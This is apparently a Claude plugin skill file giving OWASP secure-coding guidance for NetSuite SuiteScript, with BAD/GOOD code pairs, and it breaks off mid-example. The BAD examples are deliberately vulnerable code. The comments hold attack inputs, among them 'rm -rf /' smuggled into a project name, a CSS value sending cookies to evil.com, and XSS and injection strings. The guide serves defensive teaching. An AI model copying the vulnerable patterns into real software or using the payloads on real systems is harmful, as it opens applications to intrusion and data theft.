Imported from xpickey/ice-skills-claude-plugin (
plugins/ice-b2b-sales/skills/netsuite-owasp-secure-coding/SKILL.md). Install upstream withnpx skills add xpickey/ice-skills-claude-plugin --skill netsuite-owasp-secure-coding. Copyright stays with the author (The Universal Permissive License (UPL), ).
OWASP Secure Coding Practices
1. Description
This skill provides implementation-depth OWASP secure coding coverage for JavaScript and SuiteScript 2.1 development. It is the primary security reference for writing, reviewing, and auditing code.
What This Skill Covers:
- Complete OWASP Top 10 (2021) mapping with code-level mitigation patterns
- 48 cataloged security pitfalls (OSCP-001 through OSCP-048) with BAD/GOOD code examples
- Platform-agnostic JavaScript security patterns applicable beyond NetSuite
- SuiteScript-specific security patterns for RESTlets, Suitelets, Client Scripts, and more
- Output encoding for five HTML contexts (body, attribute, JavaScript, URL, CSS)
- CSP header construction and deployment
- File upload/download validation pipelines
- API and RESTlet hardening patterns
- AI agent security considerations for tool-assisted development
- DRY security architecture: shared validation modules, centralized encoding, single-source configs
- A mandatory security review checklist for every code review
Relationship to Existing Security Content:
If available, the netsuite-sdf-leading-practices skill contains two security-related principles from
the SAFE Guide:
- Principle 5 (
05-security-privacy.md) -- Owns NetSuite-specific security topics: roles and permissions, token-based authentication (TBA), N/crypto module usage, PCI-DSS awareness, credential storage via script parameters, and SuiteCloud platform security features. - Principle 11 (
11-security-best-practices.md) -- Owns OWASP awareness-level guidance: the core security principles list, a high-level OWASP Top 10 overview, basic input sanitization patterns, and parameterized query awareness.
This skill (netsuite-owasp-secure-coding) provides everything below the awareness
level: full implementation depth, exhaustive code patterns, all 48 pitfalls, context-specific
encoding, CSP templates, file security, API hardening, client-side defenses, logging safety,
and AI agent threat mitigation. It references Principles 5 and 11 where appropriate rather
than duplicating their NetSuite-specific content.
2. How to Use
Invocation
Use this skill whenever you need a security review, threat analysis, or implementation guidance for SuiteScript or JavaScript security concerns.
If your client supports explicit skill activation by name, activate
netsuite-owasp-secure-coding and request the topic you need.
Auto-Activation Triggers
This skill auto-activates when the agent detects security-relevant context in the conversation. See Section 3 for the complete trigger list.
Reference Files
All deep-dive content is in the local references/ directory. The skill loads the
appropriate reference files based on the detected security topic. You can also request a
specific reference directly:
Review this RESTlet for security issues.
Load the injection prevention reference.
Load the CSP header templates appendix.
3. When to Use
Keyword Triggers
The skill activates when any of the following keywords or phrases appear in the conversation or code context:
Injection and Input:
injection, sanitize, sanitise, validate input, SQL concatenation,
string concatenation query, parameterized, prepared statement, user input
XSS and Output:
XSS, cross-site scripting, encode, output encoding, innerHTML,
textContent, dangerouslySetInnerHTML, template literal injection
Authentication and Session:
auth, authentication, session, CSRF, token, TBA, OAuth,
credential, password, login, logout, session fixation
Headers and Browser:
CSP, Content-Security-Policy, CORS, X-Frame-Options, HSTS,
security header, postMessage, clickjacking
Cryptography:
crypto, hash, encrypt, decrypt, MD5, SHA-1, SHA-256,
Math.random, nonce, HMAC, AES, secret key
File Operations:
file upload, file download, path traversal, MIME type, magic bytes,
zip bomb, filename sanitization
API and Network:
RESTlet, Suitelet, API security, rate limit, SSRF, webhook,
schema validation, request validation
General Security:
security, vulnerability, OWASP, pentest, hardening, exploit,
attack surface, threat model, security review, security audit
AI and Agent:
prompt injection, AI security, agent security, tool poisoning,
AI output validation, data exfiltration
Code Context Triggers
The skill also activates when the agent detects these code patterns:
- Writing or reviewing RESTlet scripts (
@NScriptType Restlet) - Writing or reviewing Suitelets that generate HTML (
response.write,INLINEHTML) - Client scripts with DOM manipulation (
innerHTML,document.write,eval) - SuiteQL queries being constructed (
query.runSuiteQL,query.runSuiteQLPaged,N/query) - File operations (
N/file,file.create,file.load) - External HTTP calls (
N/https,https.post,https.get) - Cryptographic operations (
N/crypto,createHash,createCipher) - Any code review or security audit request
4. Companion Reference Map
This skill is self-contained. To avoid content duplication, this map distinguishes what this skill owns from optional companion references that may exist in a broader NetSuite guidance set.
| Source | Owns | Relationship to This Skill |
|---|---|---|
netsuite-owasp-secure-coding (This skill) |
Full OWASP Top 10 implementation depth, all 48 OSCP pitfalls, five-context output encoding, CSP header construction, file upload/download validation pipeline, API/RESTlet hardening, client-side defenses (postMessage, DOM XSS, CSRF), logging safety, AI agent security, DRY security module patterns | Primary and authoritative source for implementation guidance in this package |
05-security-privacy.md (netsuite-sdf-leading-practices, optional companion reference) |
NS roles and permissions, TBA authentication patterns, N/crypto module overview, PCI-DSS awareness, credential storage via Script Parameters, SuiteCloud platform security features | Supplemental background only; not required for this skill |
11-security-best-practices.md (netsuite-sdf-leading-practices, optional companion reference) |
OWASP awareness list, core security principles, basic sanitize pattern, basic parameterized query mention, defense-in-depth overview | Supplemental background only; not required for this skill |
Cross-Reference Rules:
- Use this skill as the authoritative source for code-level implementation guidance.
- If optional companion references are available, use them only for adjacent background such as role setup, token rotation, or high-level principles.
- Do not assume companion references are installed; answer from this skill's local content first.
5. OWASP Top 10 (2021) Quick Map
Each OWASP Top 10 category is mapped to the reference files in this skill that provide detailed coverage.
| Category | ID | Reference Files | Key Topics |
|---|---|---|---|
| Broken Access Control | A01:2021 | 04-access-control.md |
RBAC, IDOR, privilege escalation, runasrole, deployment audience |
| Cryptographic Failures | A02:2021 | 06-cryptography-data-protection.md |
SHA-256+, AES-256, key management, PII masking, CSPRNG |
| Injection | A03:2021 | 01-injection-prevention.md, 03-xss-output-encoding.md |
SuiteQL params, LDAP escape, CRLF, XSS, DOM sinks |
| Insecure Design | A04:2021 | (Covered across multiple) | Threat modeling, defense in depth, least privilege |
| Security Misconfiguration | A05:2021 | 05-security-misconfiguration.md |
Error messages, debug mode, headers, default creds, SDF manifest |
| Vulnerable Components | A06:2021 | 05-security-misconfiguration.md |
Dependency audit, feature minimization, unused endpoints |
| Authentication Failures | A07:2021 | 02-authentication-session.md |
Credential storage, TBA security, session fixation, cookie attrs |
| Software and Data Integrity Failures | A08:2021 | 06-cryptography-data-protection.md |
HMAC verification, webhook signatures, data-at-rest encryption |
| Security Logging and Monitoring Failures | A09:2021 | 10-logging-monitoring.md |
What to log, what not to log, log injection, audit trails |
| SSRF | A10:2021 | 08-api-restlet-security.md |
URL allowlists, protocol validation, internal network protection |
Appendices Providing Additional Depth:
| Appendix | File | Covers |
|---|---|---|
| AI Agent Security | references/appendices/appendix-ai-agent-security.md |
Prompt injection, tool poisoning, over-permissioned agents |
| CSP Header Templates | references/appendices/appendix-csp-header-templates.md |
Ready-to-use CSP strings, nonce-based templates, NS-specific |
| Security Checklist | references/appendices/appendix-security-checklist.md |
Phase-organized verification items with severity indicators |
| SuiteScript Security Patterns | references/appendices/appendix-suitescript-security-patterns.md |
Copy-paste boilerplate for RESTlets, Suitelets, UE scripts |
6. DRY Principles for Security
Repeating security logic across scripts is a maintenance hazard and a source of inconsistency. Apply these DRY principles to your security code.
6.1 Centralized Validation Module
Create a single validation module that all scripts import. When a validation rule changes, it changes in one place.
/**
* Shared validation utilities.
*
* @NApiVersion 2.1
* @NModuleScope Public
* @module ./lib/SecurityValidation
*/
define(['N/error'], (error) => {
/**
* Validate that a value is a positive integer.
* @param {*} val - The value to validate.
* @param {string} fieldName - The field name for error messages.
* @returns {number} The parsed integer.
*/
const requirePositiveInt = (val, fieldName) => {
const n = parseInt(val, 10);
if (isNaN(n) || n < 1) {
throw error.create({
name: 'INVALID_INPUT',
message: `${fieldName} must be a positive integer.`,
notifyOff: true
});
}
return n;
};
/**
* Validate that a value is one of an allowed set.
* @param {*} val - The value to validate.
* @param {Array} allowed - The allowed values.
* @param {string} fieldName - The field name for error messages.
* @returns {*} The validated value.
*/
const requireEnum = (val, allowed, fieldName) => {
if (!allowed.includes(val)) {
throw error.create({
name: 'INVALID_INPUT',
message: `${fieldName} must be one of: ${allowed.join(', ')}`,
notifyOff: true
});
}
return val;
};
/**
* Validate that a string matches an alphanumeric pattern.
* Use for structured identifiers, codes, and keys.
* @param {string} val - The value to validate.
* @param {string} fieldName - The field name for error messages.
* @param {number} [maxLength=200] - Maximum allowed length.
* @returns {string} The validated string.
*/
const requireAlphanumeric = (val, fieldName, maxLength) => {
maxLength = maxLength || 200;
if (typeof val !== 'string' || val.length === 0 || val.length > maxLength) {
throw error.create({
name: 'INVALID_INPUT',
message: `${fieldName} must be a non-empty string up to ${maxLength} characters.`,
notifyOff: true
});
}
if (!/^[a-zA-Z0-9_-]+$/.test(val)) {
throw error.create({
name: 'INVALID_INPUT',
message: `${fieldName} contains disallowed characters. Only alphanumeric, hyphens, and underscores are permitted.`,
notifyOff: true
});
}
return val;
};
/**
* Sanitize a string for safe inclusion in HTML body context.
* Encodes the five critical HTML characters as entities.
* @param {*} val - The value to sanitize.
* @returns {string} The HTML-safe string.
*/
const sanitizeHtml = (val) => {
if (val == null) return '';
return String(val)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
};
/**
* Sanitize a value for safe inclusion in log messages.
* Strips newlines, control characters, and truncates.
* @param {*} val - The value to sanitize.
* @param {number} [maxLength=500] - Maximum output length.
* @returns {string} The log-safe string.
*/
const sanitizeForLog = (val) => {
return String(val)
.replace(/[\r\n]/g, ' ')
.replace(/[\x00-\x1F]/g, '')
.substring(0, 500);
};
return {
requirePositiveInt,
requireEnum,
requireAlphanumeric,
sanitizeHtml,
sanitizeForLog
};
});
6.2 Shared Encoding Module
See example 13 in 03-xss-output-encoding.md for the full five-context encoding module.
Import it everywhere that output is rendered:
define(['./lib/encoding', './lib/SecurityValidation'], (enc, validate) => {
// enc.forHtml(), enc.forAttribute(), enc.forJavaScript(), enc.forUrl(), enc.forCss()
// validate.requirePositiveInt(), validate.sanitizeHtml(), etc.
});
6.3 Single Source of Truth for Security Configuration
Store security-relevant configuration in a single place per project:
/**
* Security configuration constants.
*
* @NApiVersion 2.1
* @NModuleScope Public
* @module ./lib/SecurityConfig
*/
define([], () => {
return Object.freeze({
ALLOWED_ROLES: Object.freeze({
ADMIN: [3],
FINANCE: [3, 1032, 1045],
READ_ONLY: [3, 1032, 1045, 1060]
}),
FILE_UPLOAD: Object.freeze({
ALLOWED_EXTENSIONS: ['.pdf', '.csv', '.xlsx', '.png', '.jpg', '.jpeg'],
MAX_SIZE_BYTES: 10 * 1024 * 1024,
UPLOAD_FOLDER_PARAM: 'custscript_upload_folder_id'
}),
RATE_LIMIT: Object.freeze({
MAX_REQUESTS: 100,
WINDOW_SECONDS: 3600
}),
CSP_DIRECTIVES: Object.freeze([
"default-src 'self'",
"script-src 'self' https://*.netsuite.com",
"style-src 'self' 'unsafe-inline' https://*.netsuite.com",
"img-src 'self' data: https://*.netsuite.com",
"frame-ancestors 'self' https://*.netsuite.com",
"form-action 'self'",
"base-uri 'self'"
])
});
});
7. Security Pitfalls (OSCP-001 through OSCP-048)
This is the core catalog. Each pitfall has a unique ID, title, category, severity, problem description, BAD code example, GOOD code example, and a reference to the detailed reference file.
ID prefix: OSCP- (OWASP Secure Coding Practice) to keep pitfall identifiers stable
and unique within this skill.
Severity Levels:
- Critical -- Exploitable immediately; can lead to full data breach or RCE
- High -- Significant risk requiring prompt remediation
- Medium -- Moderate risk; should be fixed within the current development cycle
- Low -- Minor risk; address as part of ongoing improvement
Injection Prevention (OSCP-001 to OSCP-005)
OSCP-001: SQL Injection via String Concatenation in SuiteQL
Category: Injection Prevention
Severity: Critical
Reference: references/01-injection-prevention.md Section 1
Problem: Building SuiteQL queries by concatenating user input allows an attacker to manipulate the query structure, extract unauthorized data, or modify records.
// ===== BAD: String concatenation in SuiteQL =====
/**
* @NApiVersion 2.1
* @NScriptType Suitelet
*/
define(['N/query'], (query) => {
const onRequest = (context) => {
const name = context.request.parameters.customerName;
// VULNERABLE: attacker sends name = "' OR '1'='1"
const sql = "SELECT id, companyname FROM customer WHERE companyname = '" + name + "'";
const results = query.runSuiteQL({ query: sql });
context.response.write(JSON.stringify(results.asMappedResults()));
};
return { onRequest };
});
// ===== GOOD: Parameterized query with ? placeholders =====
/**
* @NApiVersion 2.1
* @NScriptType Suitelet
*/
define(['N/query'], (query) => {
const onRequest = (context) => {
const name = context.request.parameters.customerName;
// SAFE: values are passed separately through params
const sql = "SELECT id, companyname FROM customer WHERE companyname = ?";
const results = query.runSuiteQL({ query: sql, params: [name] });
context.response.write(JSON.stringify(results.asMappedResults()));
};
return { onRequest };
});
Use ? placeholders plus params for query.runSuiteQL,
query.runSuiteQLPaged, and their promise variants. Paged SuiteQL queries must
still bind values through params; do not concatenate user-controlled values
into the query string.
OSCP-002: Command Injection via Unsanitized Shell Arguments
Category: Injection Prevention
Severity: Critical
Reference: references/01-injection-prevention.md Section 2
Problem: Passing user input to shell commands via child_process.exec() allows
an attacker to inject shell metacharacters and execute arbitrary commands. Relevant
in SDF build scripts, CI/CD pipelines, and custom Node.js tooling.
// ===== BAD: exec() with user-controlled input =====
const { exec } = require('child_process');
function runDeploy(projectName) {
// VULNERABLE: projectName = "myproject; rm -rf /"
exec(`sdfcli deploy -project ${projectName}`, (err, stdout) => {
console.log(stdout);
});
}
// ===== GOOD: execFile() with argument array (no shell) =====
const { execFile } = require('child_process');
function runDeploy(projectName) {
// Validate against allowlist pattern first
if (!/^[a-zA-Z0-9_-]+$/.test(projectName)) {
throw new Error('Invalid project name. Only alphanumeric, hyphens, and underscores allowed.');
}
// SAFE: execFile does not spawn a shell; arguments passed directly
execFile('sdfcli', ['deploy', '-project', projectName], (err, stdout) => {
if (err) {
console.error('Deploy failed:', err.message);
return;
}
console.log(stdout);
});
}
OSCP-003: Header Injection via Unvalidated HTTP Headers (CRLF)
Category: Injection Prevention
Severity: High
Reference: references/01-injection-prevention.md Section 3
Problem: If user input is placed into HTTP response headers without stripping carriage return and line feed characters, an attacker can inject arbitrary headers or split the HTTP response.
// ===== BAD: User input directly in header value =====
define([], () => {
const onRequest = (context) => {
const redirectUrl = context.request.parameters.redirect;
// VULNERABLE: redirect = "https://ok.com\r\nSet-Cookie: admin=true"
context.response.setHeader({ name: 'Location', value: redirectUrl });
context.response.setStatus(302);
};
return { onRequest };
});
// ===== GOOD: Strip CRLF, validate against allowlist, and use redirect API =====
define(['N/redirect'], (redirect) => {
const ALLOWED_URLS = [
'/app/site/hosting/scriptlet.nl?script=123&deploy=1',
'/app/site/hosting/scriptlet.nl?script=456&deploy=1'
];
const sanitizeHeaderValue = (value) => {
return String(value).replace(/[\r\n\x00]/g, '');
};
const onRequest = (context) => {
const redirectUrl = sanitizeHeaderValue(context.request.parameters.redirect);
if (!ALLOWED_URLS.includes(redirectUrl)) {
context.response.write('Invalid redirect destination.');
return;
}
// SAFE: use the documented redirect module instead of writing raw headers
redirect.redirect({ url: redirectUrl });
};
return { onRequest };
});
OSCP-004: LDAP Injection in Directory Queries
Category: Injection Prevention
Severity: High
Reference: references/01-injection-prevention.md Section 4
Problem: When NetSuite integrations query external LDAP/Active Directory services, user input in LDAP filter strings can alter the query logic, exposing unauthorized directory entries.
// ===== BAD: Unescaped input in LDAP filter =====
define(['N/https'], (https) => {
const lookupUser = (username) => {
// VULNERABLE: username = "admin)(|(password=*))" exposes all passwords
const filter = `(&(uid=${username})(objectClass=person))`;
https.post({
url: 'https://ldap-proxy.internal/search',
body: JSON.stringify({ filter: filter }),
headers: { 'Content-Type': 'application/json' }
});
};
});
// ===== GOOD: Escape LDAP special characters per RFC 4515 =====
define(['N/https'], (https) => {
const escapeLdapFilter = (input) => {
return String(input)
.replace(/\\/g, '\\5c')
.replace(/\*/g, '\\2a')
.replace(/\(/g, '\\28')
.replace(/\)/g, '\\29')
.replace(/\x00/g, '\\00');
};
const lookupUser = (username) => {
const safeUsername = escapeLdapFilter(username);
const filter = `(&(uid=${safeUsername})(objectClass=person))`;
https.post({
url: 'https://ldap-proxy.internal/search',
body: JSON.stringify({ filter: filter }),
headers: { 'Content-Type': 'application/json' }
});
};
});
OSCP-005: Log Injection via Unsanitized Log Entries
Category: Injection Prevention
Severity: Medium
Reference: references/10-logging-monitoring.md Section 4
Problem: If user input containing newline characters is written to logs, an attacker can forge log entries, inject misleading audit trails, or exploit log analysis tools.
// ===== BAD: Raw user input in log message =====
define(['N/log'], (log) => {
const onRequest = (context) => {
const searchTerm = context.request.parameters.q;
// VULNERABLE: searchTerm = "test\nlog.audit('Admin','Fake admin entry')"
log.audit('Search', 'User searched for: ' + searchTerm);
};
});
// ===== GOOD: Sanitize before logging =====
define(['N/log'], (log) => {
const safeLogValue = (val) => {
return String(val)
.replace(/[\r\n]/g, ' ')
.replace(/[\x00-\x1F]/g, '')
.substring(0, 500);
};
const onRequest = (context) => {
const searchTerm = context.request.parameters.q;
// SAFE: newlines and control characters stripped
log.audit('Search', 'User searched for: ' + safeLogValue(searchTerm));
};
});
Authentication and Session (OSCP-006 to OSCP-009)
OSCP-006: Hardcoded Credentials in Source Code
Category: Authentication and Session
Severity: Critical
Reference: references/02-authentication-session.md Section 1
Problem: API keys, passwords, and tokens embedded in source code are exposed to every developer with repository access, persisted in version control history, and visible in deployment artifacts.
See Principle 5 (05-security-privacy.md) for NetSuite-specific credential storage
via Script Parameters and the Credentials module.
// ===== BAD: Hardcoded API key =====
define(['N/https'], (https) => {
const execute = () => {
// VULNERABLE: key visible in source, version control, and logs
const API_KEY = '[REDACTED openai-key]';
https.post({
url: 'https://api.vendor.com/data',
headers: { 'Authorization': `Bearer ${API_KEY}` },
body: '{}'
});
};
});
// ===== GOOD: Credentials from Script Parameters =====
/**
* @NApiVersion 2.1
* @NScriptType ScheduledScript
*/
define(['N/https', 'N/runtime', 'N/error'], (https, runtime, error) => {
const execute = () => {
const script = runtime.getCurrentScript();
const apiKey = script.getParameter({ name: 'custscript_vendor_api_key' });
if (!apiKey) {
throw error.create({
name: 'MISSING_CONFIG',
message: 'API key not configured in script deployment parameters.'
});
}
https.post({
url: 'https://api.vendor.com/data',
headers: { 'Authorization': `Bearer ${apiKey}` },
body: '{}'
});
};
return { execute };
});
OSCP-007: Session Fixation via Client-Supplied Session IDs
Category: Authentication and Session
Severity: High
Reference: references/02-authentication-session.md Section 3
Problem: Accepting session identifiers from URL parameters or client-controlled sources allows an attacker to fix a session ID, then trick a victim into authenticating with that known session.
// ===== BAD: Session ID from URL parameter =====
define(['N/cache'], (cache) => {
const onRequest = (context) => {
// VULNERABLE: attacker sets sessionId before victim logs in
const sessionId = context.request.parameters.sessionId;
const sessionCache = cache.getCache({ name: 'SESSIONS' });
let data = sessionCache.get({ key: sessionId });
if (!data) {
sessionCache.put({ key: sessionId, value: '{}', ttl: 1800 });
}
};
});
// ===== GOOD: Generate session ID server-side =====
/**
* @NApiVersion 2.1
* @NScriptType Suitelet
*/
define(['N/cache', 'N/crypto/random', 'N/runtime'], (cache, random, runtime) => {
const generateSessionId = () => random.generateUUID();
const onRequest = (context) => {
const sessionCache = cache.getCache({ name: 'SESSIONS' });
const newSessionId = generateSessionId();
const currentUser = runtime.getCurrentUser();
sessionCache.put({
key: newSessionId,
value: JSON.stringify({ userId: currentUser.id, role: currentUser.role }),
ttl: 1800
});
// Pass session ID via hidden form field, not URL
context.response.write(`<input type="hidden" name="sid" value="${newSessionId}">`);
};
return { onRequest };
});
OSCP-008: Missing Cookie Security Attributes
Category: Authentication and Session
Severity: High
Reference: references/02-authentication-session.md Section 5
Problem: Cookies set without HttpOnly, Secure, and SameSite attributes are vulnerable to theft via XSS, interception over HTTP, and cross-site request forgery.
// ===== BAD: Cookie without security attributes =====
define([], () => {
const onRequest = (context) => {
// VULNERABLE: no HttpOnly, Secure, or SameSite
context.response.setHeader({
name: 'Set-Cookie',
value: 'sessionToken=abc123'
});
};
});
// ===== GOOD: Cookie with full security attributes =====
define([], () => {
const onRequest = (context) => {
context.response.setHeader({
name: 'Set-Cookie',
value: [
'sessionToken=abc123',
'HttpOnly',
'Secure',
'SameSite=Strict',
'Path=/',
'Max-Age=1800'
].join('; ')
});
};
});
OSCP-009: No Session Timeout or Excessive Session Duration
Category: Authentication and Session
Severity: Medium
Reference: references/02-authentication-session.md Section 4
Problem: Sessions with no expiration or excessively long lifetimes remain valid indefinitely, increasing the window for session hijacking.
// ===== BAD: TTL of 0 (no expiration) =====
define(['N/cache'], (cache) => {
const sessionCache = cache.getCache({ name: 'SESSIONS' });
const createSession = (userId) => {
// VULNERABLE: session never expires
sessionCache.put({ key: userId, value: '{}', ttl: 0 });
};
});
// ===== GOOD: Sliding and absolute timeout =====
define(['N/cache', 'N/log'], (cache, log) => {
const SESSION_TTL = 1800; // 30 minutes sliding
const MAX_ABSOLUTE_MS = 8 * 60 * 60 * 1000; // 8 hours absolute
const sessionCache = cache.getCache({ name: 'SESSIONS' });
const validateSession = (sessionId, currentUserId) => {
const raw = sessionCache.get({ key: sessionId });
if (!raw) return { valid: false, reason: 'expired' };
const session = JSON.parse(raw);
if (session.userId !== currentUserId) return { valid: false, reason: 'mismatch' };
const created = new Date(session.created).getTime();
if (Date.now() - created > MAX_ABSOLUTE_MS) {
sessionCache.remove({ key: sessionId });
return { valid: false, reason: 'absolute_timeout' };
}
// Refresh sliding window
session.lastActivity = new Date().toISOString();
sessionCache.put({ key: sessionId, value: JSON.stringify(session), ttl: SESSION_TTL });
return { valid: true };
};
});
XSS and Output Encoding (OSCP-010 to OSCP-015)
OSCP-010: Reflected XSS via Unsanitized URL Parameters in Suitelets
Category: XSS and Output Encoding
Severity: High
Reference: references/03-xss-output-encoding.md Section 1
Problem: URL parameters reflected directly into HTML responses execute attacker- controlled scripts in the victim's browser, enabling session hijacking, credential theft, and defacement.
// ===== BAD: Raw parameter in HTML output =====
define([], () => {
const onRequest = (context) => {
const name = context.request.parameters.name;
// VULNERABLE: name = <script>alert(document.cookie)</script>
context.response.write(`<html><body><h1>Hello, ${name}!</h1></body></html>`);
};
return { onRequest };
});
// ===== GOOD: HTML-encode before embedding =====
define([], () => {
const escapeHtml = (str) => {
if (str == null) return '';
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
};
const onRequest = (context) => {
const name = context.request.parameters.name;
context.response.write(`<html><body><h1>Hello, ${escapeHtml(name)}!</h1></body></html>`);
};
return { onRequest };
});
For Suitelet HTML, also consider N/render TemplateRenderer with an inline FTL
template and <#ftl output_format="HTML" auto_esc=true> when TemplateRenderer is
available and the code is replacing string-built response.write() output or
INLINEHTML.defaultValue. N/xml.escape can be referenced for simple XML/HTML
markup escaping, but do not treat it as a universal XSS encoder for JavaScript,
URL, CSS, DOM sink, or trusted-HTML contexts.
OSCP-011: Stored XSS via Unencoded Database Values
Category: XSS and Output Encoding
Severity: High
Reference: references/03-xss-output-encoding.md Section 2
Problem: Data saved to NetSuite records by one user may contain malicious HTML. When another user's browser renders this data without encoding, the script executes.
// ===== BAD: Record value rendered without encoding =====
define(['N/record'], (record) => {
const onRequest = (context) => {
const rec = record.load({ type: 'customrecord_feedback', id: 1 });
const feedback = rec.getValue({ fieldId: 'custrecord_feedback_text' });
// VULNERABLE: stored <script> tags execute for every viewer
context.response.write(`<div>${feedback}</div>`);
};
});
// ===== GOOD: Encode stored data on output =====
define(['N/record'], (record) => {
const escapeHtml = (str) => {
if (str == null) return '';
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
};
const onRequest = (context) => {
const rec = record.load({ type: 'customrecord_feedback', id: 1 });
const feedback = rec.getValue({ fieldId: 'custrecord_feedback_text' });
context.response.write(`<div>${escapeHtml(feedback)}</div>`);
};
});
OSCP-012: DOM XSS via innerHTML
Category: XSS and Output Encoding
Severity: High
Reference: references/03-xss-output-encoding.md Section 3
Problem: Assigning untrusted data to innerHTML causes the browser to parse and
execute any embedded HTML or script content. This is the most common DOM-based XSS
vector.
// ===== BAD: innerHTML with URL parameter =====
/**
* @NApiVersion 2.1
* @NScriptType ClientScript
*/
define([], () => {
const pageInit = () => {
const msg = new URLSearchParams(window.location.search).get('msg');
// VULNERABLE: attacker controls msg via URL
document.getElementById('notification').innerHTML = msg;
};
return { pageInit };
});
// ===== GOOD: textContent for untrusted data =====
/**
* @NApiVersion 2.1
* @NScriptType ClientScript
*/
define([], () => {
const pageInit = () => {
const msg = new URLSearchParams(window.location.search).get('msg');
// SAFE: textContent treats everything as plain text
document.getElementById('notification').textContent = msg;
};
return { pageInit };
});
OSCP-013: Missing Context-Specific Output Encoding
Category: XSS and Output Encoding
Severity: High
Reference: references/03-xss-output-encoding.md Section 4
Problem: Using HTML entity encoding in a JavaScript string context, or URL encoding in an HTML body context, provides no protection. Each output context requires its own encoding strategy.
// ===== BAD: HTML encoding used in JavaScript context =====
define([], () => {
const onRequest = (context) => {
const username = context.request.parameters.user;
// HTML encoding does NOT protect JS context
const htmlSafe = username.replace(/</g, '<');
// VULNERABLE: user = "'; alert('xss');//" still works
context.response.write(`<script>var user = '${htmlSafe}';</script>`);
};
});
// ===== GOOD: JSON.stringify for JavaScript context =====
define([], () => {
const escapeHtml = (str) => {
if (str == null) return '';
return String(str)
.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''');
};
const onRequest = (context) => {
const username = context.request.parameters.user;
// JSON.stringify produces a safe JS string literal
const safeJs = JSON.stringify(username);
context.response.write(`<script>var user = ${safeJs};</script>`);
// Or better: pass via data attribute and read with getAttribute
context.response.write(`<div id="data" data-user="${escapeHtml(username)}"></div>`);
context.response.write(`<script>var user = document.getElementById('data').getAttribute('data-user');</script>`);
};
});
OSCP-014: JavaScript Injection via Template Literals
Category: XSS and Output Encoding
Severity: High
Reference: references/01-injection-prevention.md Section 5
Problem: Template literals (backtick strings) make string interpolation convenient but do not provide any automatic encoding. Interpolating user input into HTML templates creates injection points identical to string concatenation.
// ===== BAD: Template literal with unsanitized data =====
define([], () => {
const onRequest = (context) => {
const custName = context.request.parameters.name;
// VULNERABLE: custName = "<img src=x onerror=alert(1)>"
const html = `<html><body><h1>Report for ${custName}</h1></body></html>`;
context.response.write(html);
};
});
// ===== GOOD: Encode before interpolation =====
define([], () => {
const escapeHtml = (str) => {
if (str == null) return '';
return String(str)
.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''');
};
const onRequest = (context) => {
const custName = context.request.parameters.name;
const html = `<html><body><h1>Report for ${escapeHtml(custName)}</h1></body></html>`;
context.response.write(html);
};
});
OSCP-015: CSS Injection via Style Attributes
Category: XSS and Output Encoding
Severity: Medium
Reference: references/03-xss-output-encoding.md Section 4
Problem: User-controlled values placed into CSS contexts can exfiltrate data via
url() expressions, apply deceptive styling, or in older browsers execute scripts
via expression().
// ===== BAD: User input in style attribute =====
define([], () => {
const onRequest = (context) => {
const color = context.request.parameters.color;
// VULNERABLE: color = "red; background: url(https://evil.com/steal?cookie=...)"
context.response.write(`<div style="color: ${color}">Text</div>`);
};
});
// ===== GOOD: Allowlist of valid CSS values =====
define([], () => {
const ALLOWED_COLORS = ['red', 'blue', 'green', 'black', 'gray', 'white'];
const onRequest = (context) => {
const color = context.request.parameters.color;
const safeColor = ALLOWED_COLORS.includes(color) ? color : 'black';
context.response.write(`<div style="color: ${safeColor}">Text</div>`);
};
});
Access Control (OSCP-016 to OSCP-020)
OSCP-016: Missing Authorization Checks (IDOR)
Category: Access Control
Severity: Critical
Reference: references/04-access-control.md Section 2
Problem: When a RESTlet or Suitelet accepts a record ID from the request and loads that record without verifying the caller is authorized for it, any authenticated user can access any record by guessing or enumerating IDs.
// ===== BAD: No ownership check =====
define(['N/record'], (record) => {
const get = (requestParams) => {
// VULNERABLE: User A can view User B's order
const order = record.load({ type: 'salesorder', id: requestParams.orderId });
return { total: order.getValue({ fieldId: 'total' }) };
};
return { get };
});
// ===== GOOD: Verify ownership or role =====
/**
* @NApiVersion 2.1
* @NScriptType Restlet
*/
define(['N/record', 'N/runtime', 'N/log'], (record, runtime, log) => {
const GLOBAL_ROLES = [3, 15]; // Admin, Sales Manager
const get = (requestParams) => {
const currentUser = runtime.getCurrentUser();
const orderId = parseInt(requestParams.orderId, 10);
if (!orderId || orderId <= 0) return { error: 'Invalid order ID.' };
const order = record.load({ type: 'salesorder', id: orderId });
const owner = order.getValue({ fieldId: 'entity' });
if (String(owner) !== String(currentUser.id) && !GLOBAL_ROLES.includes(currentUser.role)) {
log.audit('IDOR Attempt', { user: currentUser.id, orderId: orderId, owner: owner });
return { error: 'Access denied.' };
}
return { total: order.getValue({ fieldId: 'total' }) };
};
return { get };
});
OSCP-017: Privilege Escalation via Execute-as-Admin Deployment
Category: Access Control
Severity: Critical
Reference: references/04-access-control.md Section 4
Problem: Setting runasrole to ADMINISTRATOR on a script deployment means every
user who accesses the script operates with full system privileges, bypassing all
permission checks.
<!-- ===== BAD: runasrole ADMINISTRATOR + allroles T ===== -->
<scriptdeployment scriptid="customdeploy_data_export">
<status>RELEASED</status>
<runasrole>ADMINISTRATOR</runasrole>
<allroles>T</allroles>
</scriptdeployment>
<!-- ===== GOOD: Purpose-built role with minimum permissions ===== -->
<scriptdeployment scriptid="customdeploy_data_export">
<status>RELEASED</status>
<runasrole>customrole_data_export</runasrole>
<allroles>F</allroles>
<roles>
<role>customrole_sales_manager</role>
<role>customrole_finance</role>
</roles>
</scriptdeployment>
OSCP-018: Overly Permissive Deployment Audience (allroles=T)
Category: Access Control
Severity: Medium
Reference: references/04-access-control.md Section 8
Problem: Setting allroles to T on a script deployment grants access to every
role in the system, including low-privilege roles that should never reach the script.
<!-- ===== BAD: allroles=T on sensitive report ===== -->
<scriptdeployment scriptid="customdeploy_salary_report">
<status>RELEASED</status>
<allroles>T</allroles>
</scriptdeployment>
<!-- ===== GOOD: Explicit role list ===== -->
<scriptdeployment scriptid="customdeploy_salary_report">
